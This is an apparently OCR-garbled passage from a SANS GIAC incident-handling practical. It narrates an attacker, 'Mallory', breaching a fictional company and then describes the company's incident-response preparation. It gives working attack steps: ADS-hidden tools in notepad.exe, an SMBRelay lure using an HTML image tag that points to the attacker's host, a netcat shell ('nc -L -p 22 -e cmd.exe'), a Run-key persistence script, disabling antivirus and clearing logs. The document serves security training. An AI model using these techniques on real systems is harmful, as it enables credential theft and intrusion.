White spaces hide host public or private addreses. Using sl.exe scanning tool,
Mallory discovered that Web server was protected with Entrust/Direct Server Proxy.
Entrust/Direct is a Web-based application that allows Entrust users to connect
securely to your Web server using standard Web browsers. Entrust/Direct consists of
two main components: the Entrust/Direct client plug-in and the Entrust/Direct Web
server proxy. The Entrust/Direct client plug-in is a local proxy for the user's Web
browser. It resides on the user's computer. The Entrust/Direct Web server proxy is a
proxy for the Web server that hosts the Web site you want to secure. It normally runs
on a computer behind your firewall. These two proxies negotiate secure sessions
using SPKM-2 [7.7] authentication protocol to create CAST-128 encryption tunnel
between users’ browsers and Company's ABC Web server.

\WINNT system

rozoft Windov 0 [Uersion S5.00.2195]
opyright 178! N Microsoft Copp.

-
windstone,. Inc. 2002
. r.'lll'lr.ll.-:il-r.llll.'- = O

ired Location: http:/ss Uzt .com Gontent=T
'hJIT“"Ir"”I r31JFRy 1

Scan finizhed at Thu Ape 01 13:22:59 2004
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Using the same scanning tool Mallory derived information about the SSH server, and
it was Bitwise WinSSHD 3.07 on Windows platform.

“ | I WINNT Syskemid2 cmd.exe

Hicrosoft Windows 2008 [Wersion 5.3.21?5]
(C>» Copuright 1985-2P88 Microsoft Corp.

I =1 —hht 22 I
fcanLkine (TH» 1.81

Gopyright <c? Foundstone, Inc. 2802
http: Awe. foundstone .com

Scan of 1 IP started at Thu Apr B1 18:37:8% 2084

tEpﬂn.lﬁ an E mi -

B hops avay
Rezpondsz with [CHP unreachable:
TCF ports: 22

TCF 22
[ESH-2.8-1.29 scshlih: WinESHD 3.871

Scan fFinizhed at Thu Apr 81 18:37:85 2084

port scanned in B hours B mins B.B01 secs

4.4 Exploiting the system

Almost all middle and large companies and organizations use centralized remote
access authentication, authorization and accounting mechanism implemented as
RADIUS [7.9] or Tacacs+ [7.10] protocols with MS-CHAP/CHAPv2 authentication
protocols and DHCP service as client IP configuration protocol. These authentication
protocols are the easiest way for remote access to the company's LAN and
information resources using the same domain login account from WLAN, ISDN or
PSTN. Company's ABC remote access policy was based on Windows user's group
membership as shown below for MS IAS/RADIUS server.

Dial-up with RADIUS Properties 2=l
Seltings
Faolicy name: Dialup with RabIUS

Specify the conditions ta match:

Windows-Groups matches ""WILDADialup ugers”

Add.. Bemave Edit...

If a user matches the condition
& Grant remote access permission
™ Deny remate access permission

Access will be granted with the profile you specify, unless access
iz overidden on a per-uzer bagis.

ak. Cancel Apply
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4.4.1 Setting up dial-up a challenge/response trap

Mallory set up and configured a rogue RADIUS infrastructure with an analog
modem, Windows 2000 RRAS as NAS server, Windows 2000 IAS as RADIUS
server and AD with MS-CHAPv2 support. He created AD entries with usernames
from a local phone number list described in p.4.2 and arbitrary passwords. Packet
sniffer, as Ethereal 0.9.14 was installed on IAS. Mallory created the Hotmail account
, alice.cooper@hotmail.com, logged into this account, created an atractive message
and sent it to Alice's e-mail alice.cooper@abc.com with password protected
attached .zip file, which includes VBScript. Alice opened the file attached to the e-
mail message and ran to VBScript described in Appendix A. This script changed
phonebook.pbk file PhoneNumber entry in Alice's dial-up client to a rogue value.
The next time, the dial-up client tried to connect to the rogue NAS with a valid Alice
username and password. The dial-up client spit out Alice challenge/ response
answer, which may be captured with Ethereal 0.9.14 and delivered it to the password
cracking program crack for MS-CHAPv2 challenge/response [7.5] previously
reducing the search space by factor 2"16 (2. Exploit ProtocolsServices
[Applications) using nthash program and using genhash program to derive the
actual challenge from authenticator challenge, peer challenge and the login [7.8]. Of
course, the authentication will fail, but using the dictionary of about three gigabytes,
the Alice password will be cracked in a reasonable time: "Equipped with this, we
were able to derive all passwords used in our test network in about four hours." [7.5].

@ <capture: - Ethereal = I E||i|
File Edit Capture Display Tools Help ‘
Mo, . |Time Source Destination Pratacal | Info
1 0. 000000 ) pirate.wild, com coach.wild. com Access Redquestgl) (id=9,
2 0.043636 coach.wild. com pirate.wild. com RADIUS access Reject(3) (id=9, 1=
[~ =
t:Tunnel Client Endpoint(66) 1:17, wvalue:"194.153.79.125%000" A
T:User Mamefl) 1:6, wvalue:"user"”
B t:vendor specific(ze) 1:24, wvendor:microsoft(311)
t:Ms CHAP Challenge¢ll) 1:18, wvalue:CDp059A1D11CASLESFC34C23CDSDTEBADS
B t:vendor Specificzé) 1:58, wvendor:microsoft(311)

T:MS CHAPZ Responsef(25) 1:52, walue:(0l00107284B71027FZ2EFROAZE22264A2
£
| I “““““ I —
C0ald Ze 37 39 2e 31 32 35 00 01 06 75 Y
00b0 00 01 37 ob 12 Ga 1d 11
00cO
00da
00eld )
oofo 3 d
0LO0 12 93 b0 9c 34 .
0110 853 72 .r
/
FMErl _ﬂ Reset ApMy|
Cracking MS-CHAP was a little bit easier, because genhash applying to stay away
[7.8].
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{@ <capture> - Ethereal : i ] 54
File Edit Capture Display Tools Help

Ma. . |Ti Source Diestination Protocol | Info

000 pirate.wild. com coach.wild. com RADIUS Access Reguest(l) (id=a, 1
2 0.156075 coach.wild. com pirate.wild. com RADIUS Access Reject(3) (id=6, T=¢

rCalling station Id(31) 1:17, wvalue:"194.153.79,125000"
:Tunnel Client Endpoint(86) 1:17, value:"194,153, 7912550007
tUser Mamefl) T1:11, walue:"wILDwuser"”

rvendor Specific{2a) 1:16, wvendor:Microsoft(31l)

T:MS CHAP Challenge(1ll) 1:10, value:CODCZ238DBES7405E

B t:vendor specific(26) 1:58, vendor:Microsoft(3ll)

T:MS CHAP Responsefl) [:52, walue:0lolo00000000000000000000000000000000000000000C) J

[

t:Message authenticator(80) 1:158, value:l59B4ESDE2AGAL509C099071153EE150 7
[N | =
[¥I¥la]¥) s S L MDEADY j
Q070 5.00=... .. a.....
QO8O0 T 194,153,
Qoo0 F9.125.6 .194.153
00ad L79.125. L WILDNU
00bo [-1=T o T .
00c0 LB d
Qodo
Qoal
oofo
OLo0
£

Fiter] | A Reset] g

4.4.2 Access to Company's ABC networks

Mallory using the captured Alice's MS Windows 2000 domain username/password,
had a legitimate access to the Company's ABC LAN and network resources. Mallory
used Windows XP computer with CheckPoint VPN-1 SecureClient NG with
Application Intelligence and tried to connect the Company's ABC LAN from XYZ

inside.
VPN-1 SecureClient Connection @

Connection
Profile: lLatviias Banka j
W UseDiskup: |{E R - |

Connect | Cancel J Empelties...|

SecureClient Diagnostics

Mallory prepared an "infected" notepad.exe file with ADS on his workstation
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& ADS.bat - Notepad . i =]

Eile Edit Format Help

=
cd &

type cinintersswhrelay.exe » cihintersnotepad. exeismhrel ay. exe
type cihinterync.exe » ciyinterhnotepad.exe:nc.exe

type cininterypsloggedon. exe » cihinterhnotepad. exeipsloggedon. exe
type c:hinteryipsec.exe » cihinterynotepad.exe:ipsec.exe

E}fpe cihintersno_ipsec.exe » cihinterswnotepad.exeino_ipsec. exe
=1t

4] Kl 2

, Where ipsec.cmd and no_ipsec.cmd was following respectively.

& ipsec.cond - Notepad = | EIIE[

File: Edit Format Help

itecho off ﬂ
ipsecpol -x -w EEG -p "Block" -r "Block_tcpd45' -n BLOCK -f *+0:445:TCP
1psecpo] -x -w REG -p "Block" -r "Al1l IP Traffic" -n PASS - *+0

ipsecpo]l -x -w EEG -p “"Block' -r "A11 ICMP Traffic' -n PASS - *+0:ICMP

A

& no_ipsec.cmd - Notepad - O] x|

File: Edit Format Help

Becho off ;l
ipsecpo]l -wW REG -p "Block" -ao

4 L ‘,.-/:

Using net view /domain:WILD command Mallory got the domain computer's list. He
found out that Alice also had a computer in the LAN. Let's name this as a \\pirate
which played the role of SMBRelay [6.1] rogue server. Mallory didn't delete the e-
mail message sent to Alice. This was Mallory's first mistake. Mallory didn't use any
computer remote access GUI based tools as VNC, Dameware etc. but he used the
remote access console from Windows 2000 Resource Kit to access to this

computer's command shell.

37

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



AW INNT L system32homd.exe

(=

=10/ x|

E:"-.,WINNT"-.,5y5ten132"-.,cmd.e:-:e - rclient !

Microsoft Windows 20800 [Uersion 5.880.21951
CC>» Copyright 1985-2008 Microsoft Corp.

I:“WINNT“systemnd2>ipconfig

Windows 2088 IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix
IP Addre=s=. . . . .
Subnet Mask . . . .
Default Gateway . .

I=%WINNT~system32>

172.1.1.2
255.255.8.8
172.1.1.1

Mallory stopped antivirus McAfee Framework, Network Associates McShield and
Network Associates Task Manager services on \\pirate and copy notepad.exe with
ADS, psloggedon.exe and pulist.exe executables to c:\winnt\system32 directory
previously saving the original notepad.exe version. Using the computer list, he got
actually logged on the user's list with psloggedon.exe tool.

© SANS Institute 2004,

As part of GIAC practical repository.
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WYWINNT System 32 cmnd.exe

Microsoft Windows 2008 [Version 5.88_21951
¢G> Copyright 1985-2800 Microsoft Corp.

I:~>psloggedon “wictim

PsLoggedOn vl.31 — Logon Session Displaver
Copyright <C> 1999-2883 Mark Russinovich
Sysinternals — wwuw.sysinternals.com

Usersz logged on locally:
4-6-2004 18:47:29 AM WILD“user

Users logged on via resource shares:
4-6-2004 5:49:46 PH PIRATE~ADHMINISTRATOR

Izw2

4.4.3 SMBRelay exploit

Mallory began setting up a rogue SMBRelay server as a trap, which is also quite
simple. First, Mallory disabled NetBIOS on workstation \\pirate:

C\>reg add HKLM\System\CurrentControlSet\Services\NetBT\Parameters /v
EnableLMHOSTS /t REG_DWORD /d 0

, restart \\pirate and block Microsoft-ds (tcp445) port using IPSec filtering with the
following ADS:

C:\>start c:\winnt\notepad.exe:ipsec.cmd

and derived a new assigned IPSec local policy.

§¢ Local Security Settings =10 x|
. . o i = J

|J Ackion  Yiew |J4=#||X|@JEEE’J1.£

Tree I Mame 7 | Descripkion | Palicy Assigned
@ Security Settings - e

-8 Account Policies Cliert (Respond COnlyd Communicate notmally (uns. ..

@ Local Policies A Secure Server (Requir... For all IP traffic, shways req... Mo

D Public Key Policies =] Server (Request Secu...  For all IP traffic, alwavs reg... Mo

m-‘g TP Sty Palicia l

A ri 1| | |

On exit, Mallory eliminated IPSec policy "Block" with the following ADS:

C:\>start c:\winnt\notepad.exe:no_ipsec.cmd

, enabled NetBIOS on pirate in a similar way and replaced the "infected"
notepad.exe with the original version to cover tracks after each communication
session. Mallory launched SMBRelay tool with the following ADS:

C:\>start c:\winnt\system32\notepad.exe:smbrelay.exe
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SMBRelay server harvested usernames and password hashes from incoming SMB
traffic in Windows 2000 enviroment if Mallory forced users to connect to the pirate
using SMB connection using IP address and spit out LM/NTLM or LMv2/NTLMv2
challenges/responses [7.6] . Here | would like to cite an excerpt from [7.12]:

" Most basic trick was suggested in one of early releases of LOphtcrack: send email
message to the victim with embedded hyperlink(automatically or manually)to
fraudulent SMB server. The victim receives the message, the hyperlink is followed,
and the client unvittingly sends user's SMB credentials over the network."

As an example, the Mallory provided an embedded image tag that renders with
HTML in an e-mail message [7.12], which can be clasified as a virus:

<html>
<img src=file://pirate_IP_address/null.gif height=1 width=1></mg>
<htm

The nul.gif file was loaded and the victim initiated an SMB session with SMBRelay
server.
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[Fiselect I WINNT system 32 cmd.exe - smbrelay /IL 100

Copyright 2881: Siy Dystic, Cult of the Dead Cow

Send complaints, ideas and donations to sirdysticPcultdeadcow.com
Uzing relay adapter index 1888AA3: Intel{R> PRO Adapter

Bound to port 139 on address 172.1.1.2

Connection from 172.1.1.3:1878

Request type: Session Reguest 72 bytes

Source name: UICTIM <aa

Target name: =SMBSERUER <283

Setting target name to source name and source name to ‘CDC4EUVER’' ...
Response: Pozitive Session Response 4 hytes

Regquest type: Session Meszage 137 hytes
SMB_COM_NEGOTIATE

Response: Session Message 165 hytes
Challenge <8 huytes): F55B4DC32D5BDECE

Reguest type: Session Message 194 hytes
SMB_COM_SESSIONM_SETUP_ANDX
Pazzword lengthz: 1 @

ey
Seszssion Message 144 hytes
"Windows 5.8"
Lanman type: ‘Windows 2888 LAN Manager"
Domain = "WILD"

Request type: Session Message 162 hytes
SMB_COM_TRANSACTIONZ2
Rezponse: Sezzion Meszage 39 bytes

Regquest type: Session Message 254 hytes
SHB_COM_SESSION_SETUP_ANDZ
Pazzword lengths:- 24 24

(PEETO  EY- ) ER AR AT EEE T B R 1 CR 456 E8 Y406 EDEFFECHA 62 CD255 ERSACI C481 4BY6FIC1E
Case sensitiue"passwurd: 32FEALARYSBA662747ADSBIE?6ASFAAF?43E37A1 761 4ACCE
"HILD'

indows 2080 2195%"
%ggman type: xHinduws 2888 5.8"

ﬁespunse: Sezzion Meszage 144 hytes

0% = "Windows 5.8"

Lanman type: ‘Windows 2888 LAN Manager"
D

Domain: "WHILD"

Pazsword hash weritten to disk

Connected?

Relay IP address added to interface 108086883

Bound to port 137 on address 192.1.1.1 rvelaying for host UICTIM 172.1.1.3

Selected responses were captured and written to the file hashes.txt as LM and
NTLM responses respectively. The file was copied to Mallory's computer, imported
into LOphtcrack 2.5x, with format changes into the LC3 or LC4 directly and cracked.

4.4.4 Variants

Mallory could build up rogue Tacacs+ infrastructure in p. 4.4.1 with Windows 2000
AD which includes analogue modem, Cisco AS5200 with a modem card as a dial-up
server and NAS server, Windows NT/2000 CiscoSecure ACS 2.6 as Tacacs+ server
and AD with Windows 2000 user database for MS-CHAP authentication.
CiscoSecure ACS supports only MS-CHAP from MS Windows remote access
authentication protocol family.
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He created AD entries with usernames from a local phone number list described in
p.4.3. and arbitrary passwords. Mallory installed a packet sniffer, for example
Ethereal 0.9.14, on ACS. The dial-up client could obtain an e-mail message with an
attached .zip file, which includes VBScript, open a zip file and run VBScript. This
script changed phonebook.pbk file PhoneNumber entry to a rogue value. The next
time the dial-up client tries to connect to the rogue NAS with a valid username and
password, the dial-up client spits out a challenge/ response answer, which may be
captured with Ethereal 0.9.14. Packet capturing between NAS and Tacacs+ server is
a little bit different. The packet body(data) is encrypted with simple XOR using a
pseudo-random sequence which is created using a shared secret [7.12]. Tacacs+ 12
byte header is always sent in cleartext. as shown below.

0 8 16 24
I T T T T T T I T T T T T 7 I T T T T T 0 I T T T T T 7
Yersion Type Seq_ho flags
T T T T T 7T T T T T T 7T | T T T T T T T T T 7T
1 I T 1 I T T T T T 7 | | I T 1 | I I I I
Session_id
11T 1 T T T T T T T T T T T T T T T T T T T T T T T T T T
r ¢ ¢ ¢ ¢ ¢+ ¢ ¢ ;& ¢ §F F °F §° ¢ §F § F [ [ JF JF JF ] 1]
Length
|
' M
Data
d /

Fig 4. Tacacs+ packet header (picture from Internet NG Project)

Full Tacacs+ protocol packet exchange mechanism is shown below.
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Metwiork
ACCESS
Server
(Tacacs+
client)

Login session

(v Authenticationlstart)

Replyifinnished)

_@uthnrizatinnfrequeat]

Responselpass)

&

@

& Accounting(start) -]

. Feplylsuccess) (FH
Logout session

L) Accounting(stop) >l

- Feplylsuccess) FH

Authentication
Authorization
Accounting
Sener
(Tacacs+
SErvar)

Fig 5. Tacacs+ message exchange (picture from Internet NG Project)

The authentication START packet contains the concatenation of the username in the
user field (4 octets), PPP id (1 octet), MS-CHAP challenge, MS-CHAP response (49
octets). Pseudo-random sequence is generated as follows:

pseudo_rnd = MD5_1|MD5_2| ... |[MD5_n truncated to Length(data)

Hashes are generated by using the constant input and concatenating the previous
hash value at the end of the input [7.10]:

MD5_1 = MD5(Session_id|shared_key|Version|Seq_no)

MD5_2 = MD5(Session_id|shared_key|Version|Seq_no|MD5_1)

MD5_n = MD5(Session_id|shared_key|Version|Seq_no|MD5_n-1)

Mallory knew all arguments in MD5 calculation function: shared_key from rogue NAS
server, Session_id and, Version and Seq_no from the captured Tacacs+ packet header.
To decrypt MS-CHAP challenge and response Mallory it was needed to calculate only 3
iterations i.e. MD1, MD2, MD3, MD4 to a generate pseudo_rnd sequence concatanating
MD's. This may be performed manually with a pencil and a hash calculator (Cain&Abel

v2.5).

© SANS Institute 2004,

As part of GIAC practical repository.

43
Author retains full rights.



Hash Calculator @

Text to hazh-

|abcdef

Type Hash
MO2 ADBBRE 28021 4CE0AT45CACCARRFIIDRS
04 BO4E 7F1C258EE S0R 494 CE50B 5B E45131

SHAA TFAAC10F23C5BERC1 1 E7EDAB4B AI3E ECOSTATID 2
RIPEMD-150 DEC97FF 20348001 30FAF 40270 FAE ABFAC4SACOCE

Calculate | Cancel I

After the username and MS-CHAP challenge/response were decrypted, Mallory
could crack Alice's password using the technique described in p.4.4.1.

4.5 Keeping access

Mallory obtained anyone user's LM/NTLM challenge/response in a similar way from
the WLAN. He got all WLAN users domain passwords using a likely technique as the
one previosly described, but a little different with one condition - all WLAN computers
had the same local administrator's password to relieve administrative tasks. Mallory
got SAM entries to file from the compromised WLAN computer using the tool
pwdump2, imported into the password cracker John the Ripper or LC4 and derived
the WLAN client local administrator's password.

Using the local administrator account, Mallory changed Windows registry keys to
specify the execution of commands at startup time:

reg add \\victim\hkim\Software\Microsoft\Windows\Currentversion\Run /v Mapping /t
REG_MULTI_SZ /d "C:\Windows\system32\script.cmd"

, Where script.cmd looks:

@echo off

rem 10000000

for /L %%21 in (1,1,10000000) do rem
net use * \\pirate_|IP_address\c$

Company's firewall administrator's Bob's password had been compromised in the
following way. The administrator Bob used the SSH2 protocol to access critical
servers from the Internet with username/password (domain) authentication.
Passwords are transmitted in cleartext encrypted with SSH2 encryption algorithm.
From SSH server user authentication to AD is performed using strong Microsoft
Kerberos v5 authentication.
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% Win5SHD Settings i ]

| Access Control Accounts

S?ttings Account | Stakus | Buth Tvpe | Keys | Remote fdrin | Map Home C
- Server <<all others=>  deny Prd OR, Key ] deFault deFault
- Algorithms wilduser allow Prwd QR Kew ul default default
‘- Authentication
. Access Control
Template
counks

‘... Hosts

| | i

Add | Remowve |

Prezs Chil-M to add a new entry, Chil-E to edit, Chl-R to remowve. =
O file or directory fields, press Cirl-B or double-click to browse.

I thiz zection, individual user accounts can be allowed or denied permizzion to login
into *inSSHD, and each of the options in Access Control - Template can be
cohfigured on a per-account basiz. IF an oplion iz set to "default’ ar to an empty
shring, WinSSHD will use the walus defined in Acceszs Control > Template.

]

Save and Close I Cancel |

Mallory derived SSH server administrator Bob domain password, he bypassed
KerberosV5 authentication and derived all SSH users LM/NTLM
challenges/responses. First he changed SSH settings directly over Terminal
services or changed the corresponding Windows SSH registry settings.

# Win55HD Settings _ Ol =]

| Access Control Template

Settings Fermit Femate F\dministrationlyes "I Map Remaoke Home Direckory Ino vl
- Server

- Algorithms Permit Terminal Shell Iyes 'I
- Authentication

Terminal Shell I nc-L-p 22 -e cmd exe

Terminal Shell Initial Directory I cwinntlsyskem3z

Perrmit SFTP Iyes vl Perrmit Exec Requests Iyes vl

SFTP Root Directory Ju
Permit C25 Port Forwarding Iyes vl Permit 52C Port Forwarding Iyes VI

Wwhen a user logs into WinSSHD, the settings defined in this section are uzed as i’
fallback for those configuration options that are not defined explicitly for the user's
account inAccess Control -» Accounts.

N Y

Permit Remote Administration:
Far accounts that have administrative priviiges and that do naot hawve thiz option
explicitly set, WinSSHD will uze this zetting to determine whether they should be
Allmwrd tn merfnrm remnte Administration tasks Bemnte administration taszks inchde ;I

Save and Close I Cancel |

After user's successful login to SSH server, Netcat has been launched, waiting for
the connection on TCP 22 port. Mallory launched Netcat in the connection mode, he
got access to SSH server command shell under Web server administrator Bob's
security context
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SWINNT Y sysbem 32 crnd.exe - nc wickim 22

Microsoft Windows Z200A [Uersion 5.AA.21951
(G Copyright 1785-20AA Microsoft Corp.

C:~>ne victdim 22
Microsoft Windows 2888 [Version 5.808.21951]
(G Copyright 1785-2000 Microsoft Corp.

C:sWINNT~system32 >whoami
whoami
UILDwuser

CaSWINNT s ystem32>

and tried to spit out a LM/NTLM challenge/response to the \\pirate performing SMB
connection with the net use command.

WINNT  system32.cmd.exe - nc vickim 22
Microsoft Windows 28808 [Verszion 5.688.21951]
CC>) Copyright 1985-28000 Microsoft Corp.

C:s>nc victim 22
Microsoft Windows 2000 [Verszion 5.08.21951]
CC» Copyright 1985-2800 Microszoft Covrp.

G:sWINNT~=systen32 *ipconf ig
ipconfig

Windows 2888 IP Configuration

Ethernet adapter Local Area Connection:
GConnection—specific DHNS Suffix
IP Address. . . . . . - . . . 172.1.1.3
Subnet Mask . . . . . . . 255.255.4.A@
Default Gateway . . . . . . . . 172.1.1.1

C:“WINNT~system32»net use “~~N172.1.1.2%ch

net use “5~172.1.1.25c5

Zystem error 64 has occurred.

The specified network name is no longer availahle.

C:SWINNT“system32>_

User's SSH login hangover

: password:

but Mallory captured SSH user — external Web server administrator's Carol's
LM/NTLM challenge/response in the file.
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[Fiselect I WINNT system32h cmd.exe - smbrelay /IL 10000

Copyright 2881: Siy Dystic, Cult of the Dead Cow

Send complaints, ideas and donations to sirdysticPcultdeadcow.com
Uzing relay adapter index 1888AA3: Intel{R> PRO Adapter

Bound to port 139 on address 172.1.1.2

Connection from 172.1.1.3:1876

Request type: Session Reguest 72 bytes

Source name: UICTIM <aa

Target name: =SMBSERUER <283

Setting target name to source name and source name to ‘CDC4EUVER’' ...
Response: Pozitive Session Response 4 hytes

Regquest type: Session Meszage 137 hytes
SMB_COM_NEGOTIATE

Response: Session Message 165 hytes
Challenge <8 huytes): 1E1E2521 987C57BD

Reguest type: Session Message 194 hytes
SMB_COM_SESSIONM_SETUP_ANDX
Pazzword lengthz: 1 @

Seszssion Message 144 hytes
"Windows 5.8"
Lanman type: ‘Windows 2888 LAN Manager"
Domain = "WILD"

Request type: Session Message 162 hytes
SMB_COM_TRANSACTIONZ2
Rezponse: Sezzion Meszage 39 bytes

Regquest type: Session Message 254 hytes
SHB_COM_SESSION_SETUP_ANDZ
Pazzword lengths:- 24 24

Case insensitive password: [BRETISINPREEEYSEEEE RN TR E Vo Ty T TH
Case sensitive password: D1C68E618CF47AEGBEASAE4E? 2592 ECFIELFIAF422BDI8A8

Uzername : "uzer"
Domain: "UILDY
05 = "Windows 20888 2195"
%ggman type: xHinduws 2888 5.8"

Rezponse: Sezzion Meszage 144 hytes
0% = "Windows 5.8"

Lanman type: ‘Windows 2888 LAN Manager"
Domain: "UILDY

Pazsword hash weritten to disk

Connected?

Relay IP address added to interface 108086883

Bound to port 137 on address 192.1.1.1 rvelaying for host UICTIM 172.1.1.3

Mallory derived control over the external Web server using the compromised
administrator's Carol's password, he copied the port redirector fpipe, stopped the

W3SVC service and launched port redirector:

fpipe -1 80 —s 1025 —r 8123 172.16.40.20

, Where 172.16.40.20 is Entrust/Direct Server Proxy IP address. This allowed Mallory
to connect to the port redirector on the external Web server, which redirects to the
Web server with high sensitivity information bypassing Entrust/Direct Server Proxy
certificate authentication and confidentiality. Entrust/Direct Server Proxy entrust.ini

file is given below.

© SANS Institute 2004, As part of GIAC practical repository.
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i entrust_kreg.ini - Notepad i 10| x|
Eile: Edit Format Help

[Entrust Settings] :'
C11entType=Heawy

;The following three entries need to be updated
Serwver=172.16.40, 20+339

Manager=172.16.40. 20+709

Authority=172.16.40. 20+829

CertificateCacheEnabled=0

IdentityLibraryNT=C:%Program Files“Entrust’\Direct Servertentulog.dll

LastProfile=E :»EntrustDirectserverProfi]eySKREG-1. epf
[Entrust Direct Serwver]

secureFormbata=1

securelRlL=http: /194,154, 80.1,
insecureRedirectURL=http: /Ay, entrust. com
noEncryptTypes=imagesgif imageJpeg

noDelaySockets=1

;The following two entries need to he updated
chalnProxy=172.16.40.20 8123

port=80
IgnoreFirstRequestFlag=1
contex<tTimeout=8
ResourceF1]leCRC=290282607

[FIPS Mode]
FipsMode=0 -

1| | ¥ 4

Mallory downloaded the latest version of new software from ABC external Web
server.

4.7 Covering tracks

Mallory eliminated IPSec policy "Block" , enabled NetBIOS on the \\pirate, replaced
the "infected" notepad.exe with the original version and killed the smbrelay.exe
process to cover tracks after each communication session. Mallory started antivirus
McAfee Framework, Network Associates McShield and Network Associates Task
Manager services also. The pulist.exe from Windows 2000 Resource Kit helped
Mallory to kill undesirable processes on the \\pirate.
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WINNT system32 cmd.exe ;Iglﬂ
D 08 AAN 0= 0 0 -
[
0 PID
[l
M5 H OR ¥ 'l
CoH [ v OR i M
MLOGO ! OR Y i
' OR Y M
aHS [ H OR i '
0 v OR Y M
0 At v OH Y M
DO 5]t . OR Y M
f OH 1, M
D B i O Y M
D T v OH i M
AAGD 68 i OF 3 M
g : OF Y i
0 0 : .I ) M
B f OH Y M
A8 i OR Y M
0 0 v OR 31 i
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One night Mallory left the replacement of the "infected" notepad.exe version for later
use at the same night. This was the second big mistake for Mallory. Unfortunately for
Mallory, Alice decided to work with the Notepad application. She was very surprised,
when after opening the application, an antivirus software alert message appeared.

f:j'ﬁ ¥irusScan On-Access Scan Messages a2

Eile  Wiew Options  Help

=10l x|

—YiugScan Meszage

@ Meszage ;

[rate and Time

YiruzScan Alert!

20.056.2004 8: 2427

Pathranme : C: T, ad.exe:smbrelay. exe Have e
Detected bs; E #ploit-SmbhdiM Remove Meszage
State © Deleted
L =S [ Cloze Window
Mame In Foldet Detected A= Detection Type | Status Date and Time ] Application J Llzef)
ﬂ notepad.execs., CHAWWIMNNTYsust.,  Ewploit-Smbkitd - Trojan Deleted 20052004 8:... CMD.EXE LB
4 i &
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At the same night Mallory, connected to the \\pirate and decided to continue
capturing challenges/responses, but he couldn't start smbrelay:

C:\>start c:\winnt\system32\notepad.exe:smbrelay.exe

Mallory couldn't see the error notification as it had appeared to Windows GUI:

c:winnthsystem32h notepad.exe:ismbrelay.exe 5]

Zannot find the File 'ciywinnt) syskem3Zinotepad. exe: smbrelay, exe' {or one of its components), Make sure the path
and filename are correct and that all required libraries are available.

He understood that something wrong had happened. He deleted the hash.txt file,
cleared all event logs (System, Security and Application), but made third the mistake
— he didn't eliminate the "infected"notepad.exe file.

5. Incident handling process
5.1 Preparation

The Company ABC was a software developer company and its security policy
policy was intended to protect the integrity of the developed software, keep this
information confidential, and to prevent the use of company's computing resources
from being used to attack other networks while providing high availability and
relatively open access to software distributors and business partners. The Company
ABC paid attention and made efforts to secure the remote access, follow and apply
latest the hotfixes and service packs, update antivirus software and virus signature
files, as well as have IS security personnel and an appropriate security policy. Some
relevant aspects of the company's security policy are described below.

e Windows 2000 security templates

The company's infrastructure of all its networks is based on Microsoft Windows
2000 AD, the basic server (basicsv.inf) and workstation (basicwk.inf) security
template has been applied to all member servers and workstations.

e Windows 2000 local administrator group

All software developers user domain accounts were added to the local
administrator's group on their workstations due to business requirements.

e Windows 2000 password policy
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i Consolel n = =l
i

“ Console  Window  Help |J W= | |

':m Console RoothLocal Computer Policy'\Computer Configuration’ Windows Settings'Secur c‘ 1 = |E||i|
J fckion  Miew  Eaworites |J = = | | pof | @ ‘
Tree |Fav_0rites I Palicy  # | Local Setting | Effective Setting |
1 Console Roct o Enforce password histary 8 passwords remem, .. 8 passwords remem...
H&: Local Computer Palicy @Maximum password age 80 days 80 days

IMinimurn password age 0 days 0 days
g characters

E@ Computer Configuration
{:l Software Settings finirmurn password length
i - Windows Settings @Passwords must reet complexity £, Enabled Enabled
@ Scripts {Startup/Shutdown [84)Store password using reversible ... Disabled Disabled

g characters

with LM/NTLM authentication level.

Security Policy Setting el

4 -4 LAM Manager Authentication Lesvel

=

I Define thiz policy setting:

Send LM & NTLM - Lge NT Lz session security I negobiated

Ok, I Cancel |

Local administrator's passwords were automatically and periodically changed for all
servers and workstations, excluding WLAN STA's.

e Remote access policy

The policy was based on Windows users group membership as users had a
necessity to make the dial-up connections from non-domain computers. Each dial-up
client had a corresponding LAN workstation.
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Advanced Security Settings

Data encryption:

| No encryption allowed {gerver will disconnect i it requires encr

Logon secunty
) Use Extensible Authentication Protocal {EAF)

(&) Allow these protocols
[] Unencrypted password (PAF}
[]Shiva Password Authentication Protocal (SPAP)
[ Challenge Handshake Authentication Protacal [CHAF)
Microsoft CHAP (M5-CHAF}
] Miow clder MS-CHAF version for Windows 95 servers
Microsoft CHAP Version 2 (M5-CHAF w2)

[ ]Eor MS-CHAP based protocols, automatically use my
Windows logon name and password {and domain £ ary)

The dial-up remote access policy was based on Windows users group membership
as shown below for MS IAS/RADIUS server.

Dial-up with RADIUS Properties : d |
S ettingz |
Palicy name: Dial-up with RADILS

Specify the conditionz to match:

YWindows-Groups matches ""WILDYDIal-up ugers"

Add... Bemove Edit...

— If a uzer matches the conditions
¥ Grant remote acoess permission
" Deny remote access pemission

Aocess will be granted with the profile pou specify, unless access
iz overndden on a per-user bagis.

(1] Cancel Apply
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e Security patch maintenance

Security administrators working with the system administrators, firewall
administrators in the Information Systems Department, determine that all servers,
workstations are already patched on a regular basis. Each system administrator are
responsible for his/her server set. Firewall administrators are responsible for
Firewall, IDS Network Sensors updates and the delivery of antivirus updates.
Members of the Incident Handling Team controling all antivirus updates for
workstations, member servers, domain controllers, firewall, IDS Network Sensors on
a daily or hourly basis and inform system and firewall administrators on the
occurrence of update failure. All workstations and servers had antivirus software
VirusScan 7.1.0. There was deployed RealSecure Network Sensor 7.0. Process and
service controls on servers and workstations as well as integrity checking of dial-up
client configuration files was neglected. No IDS Server Sensor installed on DMZ
servers.

e Incident handling team

The Information Security Division in Information Systems Department at the ABC
company got a task from the company's authority to develop an incident handling
program. Incident handling was a new security phase for members of the
Information Security Division. They defined and established the following Incident
Handling Team key points:

Chief Incident Handler — manages the incident handling process from start to
finish, prepares and confirms the final report for key staff. Chief Incident Handler with
system administrator's assistance disconnects networks, servers, workstations or
other devices.

Incident Handling Team (further Team) — consist of the most experienced
information systems security administrators and network security analysts from
Information Security Division, system and firewall administrators. With the
permission of Information Systems Department, they can cooperate abreast with
other departments: Human resources, Public Affairs, Physical Security.

Incident Handling Policy — Information Security Division determined that the incident
handling policy when dealing with potential incidents would be to identify and
eliminate the threat, patch vulnerability and return the company to normal business
activities as quickly as possible. Upon consultations with the key staff of Information
Systems Department they found that the cost of downtime that may result from
collecting evidence for prosecution doesn’'t provide a great overhead to the
company. The Team required the permission to disconnect the compromised
systems from the network for investigation in the near future. The Team was also
